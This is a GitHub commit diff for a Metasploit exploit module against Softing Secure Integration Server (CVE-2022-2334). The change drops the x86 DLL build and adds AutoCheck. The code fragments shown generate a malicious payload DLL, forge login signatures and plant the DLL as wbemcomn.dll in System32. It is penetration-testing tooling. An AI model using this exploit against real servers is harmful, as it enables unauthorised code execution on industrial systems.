Skip to content

Commit afd4b8a

Browse files
committed
Remove x86 things, include AutoCheck
1 parent 27e46fe commit afd4b8a

File tree

3 files changed

+5
-14
lines changed

3 files changed

+5
-14
lines changed
Binary file not shown.
Lines changed: 0 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,7 @@
11
#!/bin/sh
2-
CCx86="i686-w64-mingw32"
32
CCx64="x86_64-w64-mingw32"
43

54
${CCx64}-gcc -shared -o temp.dll template.def template.c
65
${CCx64}-strip -s temp.dll -o ../../../../data/exploits/CVE-2022-2334/template_x64_windows.dll
76
rm -f temp.dll *.o
87
chmod -x ../../../../data/exploits/CVE-2022-2334/template_x64_windows.dll
9-
10-
${CCx86}-gcc -shared -o temp.dll template.def template.c
11-
${CCx86}-strip -s temp.dll -o ../../../../data/exploits/CVE-2022-2334/template_x86_windows.dll
12-
rm -f temp.dll *.o
13-
chmod -x ../../../../data/exploits/CVE-2022-2334/template_x86_windows.dll

modules/exploits/windows/http/softing_sis_rce.rb

Lines changed: 5 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,7 @@ class MetasploitModule < Msf::Exploit::Remote
1212
include Msf::Exploit::EXE
1313
include Msf::Exploit::FileDropper
1414
include Msf::Exploit::Remote::HttpClient
15+
prepend Msf::Exploit::Remote::AutoCheck
1516

1617
def initialize(info = {})
1718
super(
@@ -152,7 +153,7 @@ def check
152153
# get the authentication token
153154
auth_token = checker_instance.get_auth_token(datastore['USERNAME'])
154155
# generate the signature
155-
@signature = checker_instance.generate_signature(auth_token, datastore['USERNAME'], datastore['PASSWORD'])
156+
@signature = checker_instance.generate_signature(auth_token[:proof], datastore['USERNAME'], datastore['PASSWORD'])
156157
# check the generated signatures' validity
157158
signature_check_res = signature_check(datastore['USERNAME'], @signature)
158159
# if we cannot connect, then the system "appears" to be vulnerable
@@ -175,11 +176,6 @@ def check
175176
end
176177

177178
def exploit
178-
# in this case, if it appears vulnerable, it should be enough to continue the exploit
179-
unless [CheckCode::Appears].include? check
180-
fail_with Failure::NotVulnerable, 'Target is most likely not vulnerable!'
181-
end
182-
183179
# did the operator specify a custom DLL? If not...
184180
if datastore['DLLPATH']
185181
# otherwise, just use their provided DLL and assume they compiled everything correctly
@@ -188,9 +184,8 @@ def exploit
188184
else
189185
# have MSF create the malicious DLL
190186
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-2334')
191-
arch = target['Arch'] == ARCH_ANY ? payload.arch.first : target['Arch']
192187
datastore['EXE::Path'] = path
193-
datastore['EXE::Template'] = ::File.join(path, "template_#{arch}_windows.dll")
188+
datastore['EXE::Template'] = ::File.join(path, "template_x64_windows.dll")
194189

195190
print_status('Generating payload DLL...')
196191
dll = generate_payload_dll
@@ -270,6 +265,8 @@ def exploit
270265

271266
# clean up the planted DLL if the session is meterpreter
272267
def on_new_session(session)
268+
super
269+
273270
if session.type != 'meterpreter'
274271
print_error('Meterpreter not used. Please manually remove C:\\Windows\\System32\\wbem\\wbemcomn.dll')
275272
return

0 commit comments

Comments
 (0)